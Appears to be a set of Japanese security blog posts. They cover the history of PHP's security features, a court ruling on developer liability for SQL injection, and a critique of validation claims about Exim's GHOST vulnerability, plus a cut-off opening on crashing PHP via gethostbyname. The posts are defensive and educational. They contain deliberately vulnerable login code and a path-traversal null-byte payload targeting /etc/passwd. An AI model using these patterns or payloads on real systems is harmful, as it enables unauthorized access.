「PHPを避ける」とまで言われてしまったわけで、当然ながらネット界隈では炎上を起こし、現在はもう少しマイルドな表現に変わっています(参照)。

本稿では、当時のPHPの状況を振り返る手段として、この後PHPのセキュリティ機能がどのように変化してきたかを説明したいと思います。以下の二点について触れます。
  • PHPの安全でない機能の削除
  • PHPの安全性を高める機能の追加
一方、PHPの単純な脆弱性改修については原則として触れないことにします。
それでは、はじめましょう。

1.htmlspecialchars 文字エンコーディングチェックの改善(PHP5.2.5 2007/11/8)

2007年6月当時のhtmlspecialcharsは第3引数で指定した文字エンコーディングについて、ほとんど何もチェックしていない状態でしたが、PHP5.2.5になって、一部文字エンコーディングのチェックが追加されました。このあたりの詳しい状況は、私のエントリhtmlspecialcharsは不正な文字エンコーディングをどこまでチェックするかを参照ください。PHP5.2.5での対応は、なんとも中途半端なもので、「しないよりはマシだが抜けもあった(参照)」という、なんかPHPの悪いイメージに沿った対応でありました。
しかし、私のエントリが引き金となり、こちらで紹介したような議論が巻き起こり、最終的にはmoriyoshiさんによるとてもきっちりした文字エンコーディングのチェックがなされるようになりました(PHP-5.2.12 2009/12/17 )。
また、PHP-5.3までのhtmlspecialcharsの第3引数のデフォルト値はISO-8859-1(Latin-1)でしたので、文字エンコーディング指定を省略した場合は結局なにもチェックしないのと同じだったのですが、PHP-5.4(2012/3/1)でなんとこれが突然UTF-8に変更されます。これにより、「日本語等マルチバイト環境では第3引数を適切に指定しないと文字が表示されない(参照)」という荒業により、一挙に第3引数の指定が普及したものと思われます。
なんか、昔のPHPのゆるーい感じから、PHP-5.4のこの変更はスパルタンな感じがするほどであります。htmlspecialcharsに関する変遷を下記にまとめます。
  • PHP4.1.0  (2001/12/10) htmlspecialcharsに第3引数追加。ほとんど何もしていないに等しい文字エンコーディングチェック
  • PHP-5.2.5 (2007/11/8) 文字エンコーディングのチェックを強化…したけど抜けがたくさん
  • PHP-5.2.12 (2009/12/17) moriyoshiの神対応による厳格なチェックに
  • PHP-5.4.0 (2012/3/1) 第3引数のデフォルトが UTF-8 に変更

2. register_globalsが非推奨に(PHP-5.3.0 2009/6/30)

PHPの安全でない機能の筆頭格であったregister_globalsは、PHP-4.2.0(2002/4/22)ではデフォルトはオフになったものの、php.iniに指定すれば普通に使える状態でした。PHP-5.3に至り非推奨、すなわち使うと警告エラーとなり、PHP-5.4.0(2012/3/1)にて機能自体が削除されました。

register_globalsの危険な例を紹介します。
session_start();
if (isset($_SESSION['user'])) {
$islogin = TRUE;
}
ご覧のように、セッション変数userにログインユーザ名を保存することで、ログイン中か否かを保持しています。
ここで、ログイン状態でなくても、クエリ文字列に islogin=1 と指定することでログイン状態になることができます。register_globalの機能により、変数 $islogin の初期値が "1"になるからです。

しかし、この脆弱性は、そもそもログイン状態を保持する変数 $islogin を初期化していないことが原因です。なので、「一見問題ないスクリプト」がregister_globalsのせいで脆弱になる例はないかと探してみました。
仮にスーパーグローバル変数$_SESSIONがregister_globalsによって外部から変更できるとすさまじく危険ですが、それはできないように保護されています。しかし、$_SESSIONが出来る前に使われていた session_register() 関数を使う仕組みだと、セッション変数を外部から設定できる場合があります。そのような例を示します。
session_start();
session_register('user'); // $user をセッション変数として宣言
if (! isset($user)) {
die('ログインしていません');
}
// 以下ログイン中として処理
コメントにあるように、session_register('user'); は、$userがセッション変数である($_SESSION['user']に相当)と宣言するものです。
しかし、register_globalsが有効だと、新規のセッションの場合に限り、クエリ文字列 user=yamada 等とすることで、セッション変数 $user が外部から変更されてしまいます。PHP-4.1の頃だと、色々大変だったのでしょうね。

また、register_globalsではありませんが、parse_strという関数でregister_globals同等のことを実現しようとすると、$_SESSIONの上書きができてしまいます。詳しくはこちらを参照ください。
register_globalsについてまとめると以下のようになります。
  • PHP-4.2.0 (2002/4/22) register_globalsがデフォルトで off になる
  • PHP-5.3.0 (2009/6/30) register_globalsを有効にすると警告エラーになる
  • PHP-5.4.0 (2012/3/1) register_globalsが廃止される

3. マジッククォートが非推奨に(PHP-5.3.0 2009/6/30)

昔のPHPには、入力値を自動的にSQLエスケープするという機能(マジッククォート)がありましたが、PHP-5.3で非推奨になり、PHP-5.4で廃止されました。
マジッククォートに関しては、PHPの公式マニュアルに妥当な説明があるので参照してください。
上に付け加えることはあまりありませんが、敢えて言えば、
  • マジッククォートは入力時にエスケープ処理を自動的行う仕組みだが、エスケープ処理は文字列を使う時に都度すべきという考え方が一般化した
  • マジッククォートはMySQLに特化したエスケープ方式であり、かつMySQLのオプションや文字エンコーディングを考慮しない不完全なエスケープだった
ということで、廃止になったのは妥当な判断だと考えます。
  • PHP-5.3.0 (2009/6/30) マジッククォートを有効にすると警告エラーになる
  • PHP-5.4.0 (2012/3/1) マジッククォートが廃止される

4.暗号学的に安全な擬似乱数生成器のサポート(PHP-5.3.0 2009/6/30)

昔はPHPに暗号学的に安全な乱数生成関数がサポートされておらず、以下の関数でトークンやらセッションIDなどが生成されるという状況でした。
  • uniqid()
  • rand()
  • mt_rand()
これらは暗号学的に安全な乱数生成器ではないので、セキュリティ用途に使ってはいけません。中でも、uniqid()は乱数ですらなく基本的には時刻を元にしたIDですが、これを追加オプションなしでセッションID生成に使っている実装を見たことがあります。

PHP-5.3.0から、openssl_random_pseudo_bytes という、とても長い名前の関数により安全な擬似乱数が生成できるようになりました。但し、使用にあたっては以下の条件があります。
  • PHP-5.3.0以降であること かつ
  • OpenSSLが導入されていること
どちらか一方でも上記を満たさない場合は、安全な乱数のソースとして/dev/urandom等を使うことになります。

5.セッションID生成の安全性強化(PHP-5.3.2 2010/3/4)

PHPのセッションID生成は、元々暗号的な根拠を持っておらず、PHP-5.3.2で一応の改善があったものの、計算の複雑性を増すことで推測を少し難しくしたというレベルであり、暗号学的な根拠があるものではありませんでした。拙著を書くときにも扱いに苦労した記憶があります。結果として、拙著P163に以下のように書きました。
(PHPのセッションID生成は)図4-51で示したありがちなセッションIDの生成方法に該当します。ロジックの複雑性が高いため解読方法が判明しているわけではありませんが、理論的には安全性が保証されていない設計ということになります。
上記には「解読方法が判明しているわけではありませんが」とありますが、これを調べた人がいて、hnwさんが素晴らしい翻訳で紹介してくださっています。
現実的なリスクは低いものの、ちょっと心配ですよね。このため、(執筆当時は上記論文は知らなかったものの)私は以下のように推奨しました。
しかし、php.iniの設定を追加することで、安全な乱数を元にセッションIDを生成するよう改善できます。そのためには、php.iniに以下を設定します。
[Session]
;; entropy_file は Windowsでは設定不要
session.entropy_file = /dev/urandom
session.entropy_length = 32
そして、PHP-5.4.0からは上記設定が標準のデフォルト値となりました。まさか私の本を読んで、ということはないと思いますが、結果として取り入れてくださると嬉しいですよね。
  • PHP-5.3.2 (2010/3/4) セッションIDの生成方法を複雑化したが不完全
  • PHP-5.4.0 (2012/3/1) セッションIDのシードに安全な乱数を使うように改善

6.ヌルバイト攻撃の防御機能の追加(PHP-5.3.4 2010/12/9)

よく知らているように、PHPの機能・関数にはバイナリセーフのものとそうでないものが混在しているため、ヌルバイト攻撃という攻撃手法が成立していました。
典型的には、ディレクトリトラバーサル攻撃の際に、プログラム側で拡張子を付加してい場合でも任意の拡張子ファイルのアクセスができるようにする方法です。具体的には、../../.../../../etc/passwd%00というファイル名を指定することで、%00(ヌルバイト)が文字列の終端になり、それ以降の拡張子(.txt等)が無視されるというものです(bloggerの制限のため%を全角で書いていますが、実際には半角です)。
PHP-5.3.4では、言語構造及び関数の一部で、ファイル名にヌルバイトがあるとエラーになるように改良されました。詳しくは以下の素晴らしいエントリを参照ください。
ヌルバイト攻撃ができなくなっても、ディレクトリトラバーサル攻撃やファイルインクルード攻撃の対策は引き続き必要ですが、万一対策が漏れていた際の保険的な対策になります。

7.PDOのDB接続時の文字エンコーディング指定が可能に(PHP-5.3.6 2011/3/17)

昔は、PDOを用いる際にDB接続の文字エンコーディングを簡単には指定できないため、SQLインジェクション脆弱性の可能性がありました。具体的には、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション)で指摘したように、Shift_JISでMySQLに接続している場合に、エスケープ処理やプレースホルダを使っていても、SQLインジェクション脆弱性が混入する場合がありました。
PHP-5.3.6以降にて、DB接続時に下図のように文字エンコーディングを指定できるようになりまた。
 $dbh = new PDO('mysql:host=DBHOST;dbname=test;charset=utf8', USERNAME, PASSWORD);
詳しくは以下のエントリを参照ください。
なお、Windows版のPHP-5.3.6には初歩的なバグがあり、PHP-5.3.7で修正されました。
ところが、このPHP-5.3.7には重大な脆弱性が混入してしまいました。次項に続きます。

8. crypt関数の重大な脆弱性混入とXFAILの運用(PHP-5.3.8 2011/8/23)

PHP-5.3.7にはcrypt関数に重大な脆弱性があり、MD5ハッシュを選択した際に肝心のハッシュ値が出力されないという問題が混入してしまいました。バグの詳細と混入の経緯については以下の記事を参照してください。
バグ混入の背景は以下の記事が参考になります。
上記の記事にもありますが、PHPの開発では、バグが採択された場合まずテストを書くことから始めるため、未対応のバグについて、大量のFAILが残ったままになり、対処が必要なFAILが埋もれて見落としてしまったようです。
これに対して、「将来修正するけど今はFAILを容認している」バグについては、FAILとは別に、XFAIL(eXpected FAIL)とすることで、見落としをなくそうということになりました。実際にはXFAILの機能自体は当時から既に組み込んであったようですが、XFAILの運用をきちんとやろうという意味でしょう。
実は、PHP-5.3.7の前にも、PHP-5.2.7にも重大なやらかしがあって、PHP-5.2.7は欠番になっています。そのため、PHP-5.x.7は地雷?ということで、PHP-5.4.7やPHP-5.5.7が出る際にも「また何かあるのではないかと期待不安」があったのですが、さすがにそういうことはありませんでした。PHP-5.3.7の失敗以降、大きなヤラカシはなくなったのではないでしょうか? これは良かったと思いますし、PHP-5.3.7のcryptのバグも幸い大きな実害にはつながらなかったようです。

9. header関数のバグ修正(PHP-5.4.0 2012/3/1)

PHPのヘッダ関数は、5.1.2(2006/1/12)でHTTPヘッダインジェクション対策として以下の修正がありました。
この関数は一度に複数のヘッダを送信できないようになりました。 これは、ヘッダインジェクション攻撃への対策です。
header関数マニュアルより引用
しかしこの修正に抜けがあり、改行を構成する2種類の文字キャリッジリターン(0x0D)とラインフィード(0x0A)のうちラインフィードの方しかチェックしておらず、キャリッジリターンのみでHTTPヘッダインジェクション攻撃ができてしまう状態でした。
その旨を私の本にも書いていたところ、PHP-5.4.0にて廣川類さんが修正してくださいました。
PHPスクリプトに対してHTTPヘッダインジェクション攻撃を掛ける経路としては、header関数のほか、setcookieとsetrawcookieを使う可能性が考えられますが、この修正でいずれの関数でもHTTPヘッダインジェクションはできなくなったはずです。

10. 安全なパスワード保存が簡単にできるようになった(PHP-5.5.0 2013/6/20)

password_hash関数の新設により安全なパスワード保存が楽に行えるようになりました。以下のように使用します。
$password = ...
$hash = password_hash($password, PASSWORD_DEFAULT);
生成されるハッシュ値の例は下記のとおりです。パスワードが同じでもソルトが毎回変わるので、呼び出しの度に異なるハッシュ値になります。
$2y$10$KDeRvOFZVPtVVm/Qo8DhA.XZ85u9mPmIqj3CHXCD2QZxeop617Wy2
上記の呼び出し例では指定していませんが、ストレッチングの強度を指定することもできます。デフォルトは10(ストレッチ回数ではありません)です。
パスワードの悪用が問題になっている昨今の状況を考えると、password_hashの採用はぜひ検討したいものです。

11. Session Adoption Bugの修正(PHP-5.5.2 2013/8/15)

PHPには従来からセッションIDとして勝手な値(例: PHPSESSID=ABC)をつけてもそれを受け入れてしまうという問題(Session Adoption)が指摘されていました。PHP開発陣はSession Adoptionはない方がいいが重大な問題ではないと認識していたようで長らく放置されていましたが、PHP-5.5.2にて修正されました。ただし、デフォルトは従来通りで、php.iniにて session.use_strict_mode = On を指定する(strict sessions)と、PHP側で用意したセッションIDのみを使うようになります。
詳しくは以下のエントリを参照ください。
また、Session Adoptionに関連して、セッションIDの固定化攻撃にどう対処するかについては、以下を御覧ください。

まとめ

IPAから『例えば、PHPを避ける』と書かれた2007年6月以降、PHPの安全性がどの程度強化されたかを調べました。思い返すと色々あったなぁとは思うものの、PHP-5.3.7のcryptの以降は、(PHP-5.5.2のStrict Sessionsはご愛嬌として)大きな「やらかし」は発生していないように思います。
また、PHP-5.3以降では、明確に過去の悪い習慣と決別する姿勢を示しているように思えます。昔のイメージだけで「PHPは危険」と言われてしまうのは、ちとかわいそうな気がします。
ということで、最近のPHPの安全性はかなり向上していると言えますが、むしろ、現在のPHPのセキュリティ運用上の問題は、バージョンアップが頻繁なために追随することが難しいことではないでしょうか? これを避けるためには、CentOS等のLinuxディストリビューションのパッケージとしてPHPを導入して、適切にパッチ適用する方法などが考えられます。

SQLインジェクション対策もれの責任を開発会社に問う判決

$
0
0
1月13日に、北大の町村教授による興味深いブログ記事が発表されました。
この記事によると、SQLインジェクション脆弱性が原因でクレジットカード情報が漏洩した事件につき、ショップ側が開発会社を相手取り損害賠償請求の裁判を起こし、ショップ側が勝訴したとのことです。

判決はこのURLで読むことができます。以下、判例時報2221号に掲載された判決文も参照しながらエントリを書くことにします。

事実および裁判所の判断

まずは、事実および東京地裁の判断を説明します。

登場人物は下記の通りです。
  • X株式会社: インテリア商材の通信販売を営む(原告)
  • Y株式会社: システム開発の会社(被告)

概要
X社が運営するECサイトに対して、外部からの不正アクセスにより、最大7316件のクレジットカード情報が漏洩した。X社は謝罪、対応、調査等の費用、売上減少による損害等に関して、Y社に対して、委託契約の債務不履行にもとづき1億円余りの損害賠償を請求、東京地裁に起訴した。結果、原告が勝訴し、東京地裁は約2262万円の損害賠償金を支払うよう被告に命じた(確定)。

時系列まとめ:
日時事実
2009年1月30日X社とY社が業務委託基本契約書を締結
2009年2月4日X社がY社にウェブサイト向け商品受注システムを発注(889万円余)
2009年4月15日ウェブサイト稼働開始。この時点ではクレジットカード情報はサーバーに保存せず
2010年1月26日X社は顧客のクレジットカード情報をX社の基幹システムに転送する旨の仕様変更をY社に発注(31万5千円)
2010年1月29日同引き渡し、稼働(この時点からカード情報がサイトDBに保存される)
2011年4月20日カード会社から原告にカード情報漏洩の可能性を伝える
2011年4月21日ECサイトのサービスを停止
2011年4月30日セキュリティを強化してサービス再開。クレジットカード決済は停止
2011年5月26日情報漏洩の旨を告知(アーカイブ
2011年8月23日原告は別会社に委託した新サイトに移転
2011年10月14日原告が東京地裁に告訴
2011年12月22日原告がマザーズ上場
2014年1月23日判決(概ね原告の勝訴、確定)

ポイントは下記の通りです。
  • X社(原告)はセキュリティ対策について特に指示はしていなかった
  • 損害賠償について個別契約に定める契約金額の範囲内とする損害賠償責任制限があった
  • 当初システムはカード決済を外部委託し直接カード情報を扱っていなかった
  • X社が「カード会社毎の決済金額を知りたい」とY社に依頼をして、その結果カード情報をいったんDBに保存する仕様となった(2010年1月29日)
  • X社からの問い合わせに対してY社は、カード情報を保持しない方式に変更することが可能で、そのほうが安全となり、費用は20万円程度である旨を伝えた(2010年9月27日)が、その後X社は改良の指示をしなかった
  • 以下の脆弱性その他が認められた
    • システム管理機能のIDとパスワードが admin/password であった
    • 個人情報が記載されたお問い合わせログファイルの閲覧が可能(ディレクトリリスティングと意図しないファイル公開)
    • SQLインジェクション
    • クロスサイトスクリプティング
    • ログにカード情報が保存されていた
    • DBに保存されたカード情報にはセキュリティコードも含まれていた

これに対して、東京地裁の判決は下記の通りです。
  • クレジットカード情報が漏洩した原因は複数考えられるが、脆弱性やアクセスログ、不正利用の状況からSQLインジェクション攻撃によるものと断定
  • セキュリティ対策についてX社からの指示はなかったが、Y社は必要なセキュリティ対策を講じる義務(債務)があり、それを怠った債務不履行がある
  • Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったので、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退けた
  • 損害賠償責任制限について
    • 損害賠償責任制限自体については認める
    • 契約書に明記はないが、故意あるいは重過失に起因する損害については責任制限の範囲外とする
    • 仕様書に記載はないがSQLインジェクション対策を怠ったことは重過失である
    • よって今回の事案は損害賠償責任制限には該当しない
  • 原告からの損害賠償請求のうち、おわびのQUOカード代や梱包発送費などの損害は全額認められたが、売上減の機会損失は6041万4833円の要求に対して、400万円のみが認められ、システム委託契約費用約2074万円に対しては、他社システムに移行後の利用料等(約27万円)のみが認められた
  • Y社がカード情報をDBに保存しない方式をX社に提案したにも関わらずX社がそれを採用しなかった件をX社の過失と認め、過失相殺3割が認定された
  • 瑕疵担保期間(1年)を超えていたが、瑕疵担保期間はあくまで無償補修の期間を定めたもので、損害賠償請求権の期間制限を定めたものではないので、損害賠償請求は有効(2015/1/22 22:30追記)
  • 結果、3131万9568円の損害を認定し、その3割を控除して、2262万3697円の損害賠償をY社に命じた

SQLインジェクション対策がY社の債務である理由を判決文より引用します。
そこで検討するに,証拠(甲14,25,29)によれば,経済産業省は,平成18年2月20日,「個人情報保護法に基づく個人データの安全管理措置の徹底に係る注意喚起」と題する文書において,SQLインジェクション攻撃によってデータベース内の大量の個人データが流出する事案が相次いで発生していることから,独立行政法人情報処理推進機構(以下「IPA」という。)が紹介するSQLインジェクション対策の措置を重点的に実施することを求める旨の注意喚起をしていたこと,IPAは,平成19年4月,「大企業・中堅企業の情報システムのセキュリティ対策~脅威と対策」と題する文書において,ウェブアプリケーションに対する代表的な攻撃手法としてSQLインジェクション攻撃を挙げ,SQL文の組み立てにバインド機構を使用し,又はSQL文を構成する全ての変数に対しエスケープ処理を行うこと等により,SQLインジェクション対策をすることが必要である旨を明示していたことが認められ,これらの事実に照らすと,被告は,平成21年2月4日の本件システム発注契約締結時点において,本件データベースから顧客の個人情報が漏洩することを防止するために,SQLインジェクション対策として,バインド機構の使用又はエスケープ処理を施したプログラムを提供すべき債務を負っていたということができる。
感想は以下の通り
  • 発注者(原告)および受注者(被告)ともにグダグダの状況であった
  • 原告は発注者としての責務を果たしておらず、(ほぼ)すべての責任が被告にあるとの判断は、被告に厳しすぎると思う
  • とはいえ、被告もなんら「専門家としての責務」を果たしておらず、裁判所はこの点を重視した
  • 経産省およびIPAからの注意喚起が「専門家として当然はたすべき責務」の基準と判断された点に注目したい
  • 管理機能のID/パスワードが admin/password であった箇所を読んで、しばらく余韻にひたっていた
    ※ただし、被告はシステム引き渡し後に原告がパスワードを変更すると想定していたと主張

考察とまとめ

従来筆者は、経産省の「モデル取引・契約書」などを根拠として、「仕様書に明記されないWebアプリケーションの脆弱性に対する責任は発注者にある」との見解を持っておりましたが、同時に「判例があるわけではないので要注意」としていました(例: PHPカンファレンス2009の講演資料)。今回の東京地裁の判断は、開発会社の「専門家としての暗黙の責務」として、セキュリティ対策の責務(契約上の債務)があると認定した点で画期的なものと言えます。判例時報の記事によると、この判決は「確定」とありますが、下級審判決ですので、今後の事案でどのような判決となるかは分かりません。
また、SQLインジェクション脆弱性が(要求仕様に明記されていないにもかからわず)受注者の重過失であると認定した点にも注目する必要があります。今後は、開発会社は自衛のため、せめて「安全なウェブサイトの作り方」に載っている脆弱性くらいは、顧客から要求がなくても、対策しておくべきでしょう。
発注者の立場に話を戻すと、今回紹介したような判例があったとしても、脆弱性対策を発注仕様に盛り込むべきです。そもそも脆弱性がなく、侵入もされないことが望ましいことは言うまでもないからです。
また、原告は、20万円の追加対策を指示しなかったことを過失と認定され、過失相殺として損害賠償金額を3割減額されました。20万円ケチったために、1,000万円近く損したことになります。
このことから、開発会社側は、採用される見込みが薄くても、自衛策としてセキュリティ対策の提案はどんどんした方が良いということになります。提案した上で発注側が拒否すれば、責任を発注側に転嫁できる(可能性がある)からです。さらに、よくある損害賠償の制限条項が「重過失による場合は無効」と判断されましたので、法務的な対策もあわせて考える必要があるでしょう。

先にも書いたように、今回の判決は「開発会社には厳しいもの」と受け取りましたが、それは私は開発の現場に長くいたからであり、世間一般の常識からすれば、「専門家なのだからそれくらいやって当たり前」ということではないでしょうか。
契約論的な責任の所在は別として、SQLインジェクション対策は今や「やって当たり前」なのですから、開発サイドとしては、要求仕様にあってもなくても淡々とSQLインジェクションが混入しない作り方を実践すべきであると考えます。

追記(2015/1/22 22:30)

はてブコメントに瑕疵担保期間に関する言及がありましたので追記します。
東京地裁の判断は、瑕疵担保期間はあくまで無償補修の期間を定めたもので、損害賠償請求権の期間制限を定めたものではないので、損害賠償請求は有効としました。以下、判決文の該当箇所を引用します。
本件基本契約は,「乙は,委託業務の完了の後その成果物に瑕疵が発見されたとき,乙の責任において無償で速やかに補修のうえ納入を行うものとする。」(26条1項),「乙の保証期間は,特に定めるものを除き委託業務の完了の後1年間とする。ただし,乙の責に帰すべきものでない場合はこの限りではない。」(26条2項)と定めている。
以上の規定からすれば,本件基本契約26条2項は,被告による無償補修を定めた本件基本契約26条1項を前提とした規定であり,被告が無償補修する義務を負う期間を原則として委託業務の完了後1年間とすることを定めたものと解することができ,原告の被告に対する損害賠償請求権の期間制限を定めたものと解することはできない
これに対し,被告は,本件基本契約に基づく個別契約は請負契約としての性質を有し,請負契約では債務不履行責任の特則として瑕疵担保責任の規定が適用される以上,原告の本件請求も瑕疵担保責任の規定に従った請求というべきであるから,本件請求についても本件基本契約26条2項が適用される旨主張する。しかし,本件基本契約26条2項は,その文言上被告による無償補修期間を定めたものと解釈できることは前記説示のとおりであり,本件個別契約の性質が請負契約に当たるか,原告の請求が瑕疵担保責任に基づく請求といえるかといった点は,上記解釈に影響を与えるものではないから,被告の上記主張は採用できない。

EximのGHOST脆弱性の影響とバリデーションの関係

$
0
0
大垣さんのブログエントリ「GHOSTを使って攻撃できるケース」を読んだところ、以下のようなことが書いてありました。
1. ユーザー入力のIPアドレス(ネットワーク層のIPアドレスではない)に攻撃用データを送る。
2. バリデーション無しで攻撃用の不正なIPアドレスをgethostbyname()に渡される。
3. ヒープオーバーフローでヒープ領域のメモリ管理用の空きサイズを改竄する。

【中略】

どんなソフトウェアが危ないのか?

  • ユーザー入力のIPアドレスをバリデーションしないでgethostbyname()を使用している。
  • インタラクティブな動作を行っている。(攻撃者からの入力に対してレスポンスがある)
  • ソフトウェアが持つ実行機能が利用できる。
【中略】

どうすれば守れたのか?

EximはメールサーバーなのでIPアドレスはネットワーク層からだけでなく、ユーザー入力としても処理しています。IPアドレスとしてあり得ないデータをアプリでエラーにしていれば攻撃はできませんでした。入力データとしてあり得ないデータをライブラリに直接渡すとリスクが伴います。入力バリデーションを行っていれば問題となりませんでした。
  • 入力バリデーションを行い、おかしな入力は拒否する
glibcの脆弱性の有無に関わらず、これだけしていれば任意コマンドの実行という最悪の事態は防げました
この記事には以下の問題があると感じました。
  • 攻撃経路となる入力値はIPアドレスではなくホスト名である
  • 攻撃を防げるとするバリデーションの仕様が明記されていない
  • Eximは本当にバリデーションをしていないのか
以下、説明します。

攻撃経路となる入力値はIPアドレスではなくホスト名である

Qualysの発表したEximに対する攻撃手法によると、攻撃はSMTPのHELOコマンドを経由して、数字とドットのみの「ホスト名」をgethostbyname()に送ることが行われます。GHOST脆弱性の性格から、攻撃に用いる文字は数字とドットのみですが、HELOコマンドが受け取るのはホスト名ですから、IPアドレスとしてバリデーションするわけにはいきません。また、gethostbyname()が受け取る引数もbynameとあるようにホスト名です。
大垣さんは、攻撃文字列が数字のみなのでこれをIPv4形式のIPアドレスと誤認されたようですが、これは間違いということになります。

攻撃を防げるとするバリデーションの仕様が明記されていない

前項と関連しますが、大垣さんは、攻撃が防げるとするバリデーションの要件を明示していません。おそらく、IPv4としてのバリデーションを想定しておられたのでしょうが、これは間違いですので、前提条件が崩れたことになります。
それでは、「大垣さんだったらホスト名に対してどんなバリデーションをするだろうか」と考えてみましたが、私が勝手に考えても失礼にあたると思いますので、大垣さんの著書「Webアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?」から、似て非なる例としてメールアドレスのバリデーション関数を下記に引用します。
function validate_email($str, $check_dns=true, $mode=V_EXIT) {
// preg_matchもバイナリセーフ
$error = !preg_match ('/^(([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+)$/', $str);
list(,$domain) = split('@',$str);
// checkdnsrr()はWindowsでは実装されていません。
if (!$error && !strstr(PHP_OS,'WIN') && !checkdnsrr($domain,'MX')) {
$error=false;
}
if ($mode == V_RETURN) {
return $error;
}
if ($error) {
trigger_error('不正なメール形式を検出しました。');
}
}
preg_matchの中の赤字の部分がドメイン名のチェックです。正規表現がRFC準拠でないことや、ドメインパートにアンダースコアを許容していることや、量化子「+」がネストしていることが気になる人もいるでしょうが、本題ではないので流します。
この関数は、メールアドレスを正規表現でチェックした後、PHPのcheckdnsrr関数を用いて、ドメイン名に対するMXレコードが存在することをチェックしています。これは、大垣さんの主張であるgethostbyname()を呼ぶ前にバリデーションを行うようにという処理とよく似ていますし、ホスト名やドメイン名のチェックを外部APIを呼び出して行う点もよく似ていますので、ここでは上記の正規表現が、「大垣流のドメイン名(ホスト名)バリデーション」と想定して議論を行います。
Qualysのアドバイザリによると、GHOST攻撃に用いる文字列は数字とドットだけからなる長い(1Kバイトを超える(後述))文字列ですが、上記の正規表現はこの攻撃文字列を許容します。すなわち、上記のバリデーションではGHOST攻撃を防げません
したがって、「入力値をバリデーションすれば攻撃を防げる」というものではなく、当然のことながら、バリデーションの仕方によって防御の効果は変わってきます

Eximは本当にバリデーションをしていないのか

大垣さんは、「バリデーション無しで攻撃用の不正なIPアドレスをgethostbyname()に渡される」と、Eximはgethostbyname()に渡す文字列をバリデーションしていないと断定していますが、本当にそうでしょうか。
Eximのソースコードおよびデバッグログを用いて確認したところ、Eximはgethostbyname()を呼ぶ前に、smtp_in.c内のcheck_helo()関数でホスト名をチェックしています。
static BOOL
check_helo(uschar *s)
{
// 中略
if (*s == '[')
/* 中略 IPv6形式のIPアドレスの処理 */
else if (*s != 0)
{
yield = TRUE;
while (*s != 0)
{
if (!isalnum(*s) && *s != '.'&& *s != '-'&&
Ustrchr(helo_allow_chars, *s) == NULL)

{
yield = FALSE;
break;
}
s++;
}
}
}
// 後略
赤字で示したように、HELOコマンドのパラメータ(ホスト名)として、英数字、ドット、ハイフン、helo_allow_chars配列の文字(デフォルトは空だが設定により変更可能)のみを許可しています。
上記は、細かい違いはあるものの、大垣さんのvalidate_email()関数のドメインパートのバリデーションロジックと概ね同じです。
このように、Eximはホスト名をバリデーションすることなくgethostbyname()に渡しているとする大垣さんの記述は間違いです。おそらく、前述のように、gethostbyname()に渡すパラメータをホスト名ではなくIPアドレスと勘違いされていたので、「IPアドレスとしてのバリデーションをしていない」と推測されたものと思いますが、ソフトウェアのソースコードや動作を確認することなく「Eximはバリデーションしていない」と断定したことは軽率な行為であると考えます。

どうすればよかったか

Qualysのアドバイザリでは、攻撃に用いる文字列(gethostbynameの引数)の要件として下記の記述があります。
It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the "1-KB" requirement).
Eximが呼び出しているのは、まさに the non-reentrant gethostbyname*() functions ですので、攻撃には1KB以上の長い文字列が必要ということになります。

一方、ホスト名の長さについては、RFC1123には以下の記述があります。
Host software MUST handle host names of up to 63 characters and SHOULD handle host names of up to 255 characters.
試訳
ホストソフトウェアは63文字までのホスト名を扱わなければならず(MUST)、255文字までのホスト名を扱うべき(SHOULD)である。
すなわち、ホスト名の上限は255文字としていればRFC上問題はないため、積極的に255文字を超えるホスト名をエラーにしていれば、GHOST脆弱性の影響は受けないことになります。

とは言うものの、RFC1123の要件としては、256文字以上のホスト名を扱ってもとくに問題はないように思えます。すなわち、ホスト名の上限の仕様には以下の選択肢があることになります。
  • 63文字(MUST)
  • 255文字(SHOULD)
  • 256文字以上の有限値(任意)
  • 無制限(任意、Eximが該当)
どれを選択するかはアプリケーション要件です。長さを短くすると利便性は減ります(短所)が、未知の攻撃の際に *たまたま* 防御できる可能性がでてくる(長所)ということです。そして、Eximはホスト名の長さ制限を設けていなかったためホスト名の自由度は高い(長所)ものの、他の諸々の要因とあいまってGHOST脆弱性の受けてしまった(短所)ということです。

現実問題として、255文字を超えるホスト名を扱うことはまずないでしょうから、長さの制限を設けておけばよかったのになぁとは思います。

まとめ

EximがGHOST脆弱性の影響を受ける問題とバリデーションとの関係について説明しました。Eximは、まったくバリデーションをしていなかったわけではなく、ホスト名の文字種制限(バリデーション)はしていましたが、長さの制限はしていません。そして、長さを適当に(255文字以下、あるいは1023文字以下)制限していれば、GHOST脆弱性の影響は受けませんでした。

では、バリデーションはどのように考えればよいでしょうか。従来から言っていることですが以下を推奨します。
  • バリデーションの基準はアプリケーションの仕様である
  • 仕様を満たさない入力値は再入力を促すナビゲーションを行う
  • アプリケーション仕様として、すべての入力パラメータの以下項目を定義しておく
    • 文字種
    • 文字列長の最小・最大値
    • 数値の場合は最小値・最大値
    • メールアドレス等は書式
文字列長に関しては、制限をとくに設けていないアプリケーションも多いと思いますが、実用性を損なわない範囲で上限値を定めて、その上限まで正常に動作することと、上限値を超えた場合にエラーになることをテスト項目に加えるとよいでしょう。
バリデーションのセキュリティ上の効果については以下のように考えます。
  • バリデーションの基準はアプリケーション仕様(再掲)
  • Eximの場合のように、バリデーションの仕方によっては脆弱性が顕在化しなかったという例は結構ある(参考: Drupalの例
  • しかし、バリデーションは確実な対策ではないので、脆弱性対策をおろそかにしてはいけない
  • そのため開発者の心構えとしては、バリデーションによる防御効果はないものとして脆弱性対策をすること
  • バリデーションはしておこう。それがセーフティネットになる場合もある

GHOST脆弱性を用いてPHPをクラッシュできることを確認した

$
0
0
GHOST脆弱性について、コード実行の影響を受けるソフトウェアとしてEximが知られていますが、PHPにもgethostbynameという関数があり、libcのgethostbyname関数をパラメータ未チェックのまま呼んでいます。そこで、PHPのgethostbynameを用いることでPHPをクラッシュできる場合があるのではないかと考えました。

